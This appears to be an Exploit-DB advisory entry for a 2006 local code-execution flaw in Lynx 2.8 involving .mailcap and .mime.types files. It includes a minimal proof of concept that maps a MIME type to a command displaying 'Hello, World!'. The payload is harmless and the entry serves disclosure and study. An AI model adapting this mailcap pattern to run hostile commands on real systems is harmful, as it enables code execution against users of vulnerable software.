Lynx 2.8 - '.mailcap' and '.mime.type' Files Local Code Execution Vulnerability

2008-11-03T00:00:00
ID EDB-ID:32530
Type exploitdb
Reporter Piotr Engelking
Modified 2008-11-03T00:00:00

Description

Lynx 2.8 '.mailcap' and '.mime.type' Files Local Code Execution Vulnerability. CVE-2006-7234. Remote exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/31917/info

Lynx is prone to a local code-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary code within the context of the user running the affected application.

Versions prior to Lynx 2.8.6rel.4 are affected.

.mime.types:
application/x-bug bug

.mailcap:
application/x-bug; xmessage 'Hello, World!'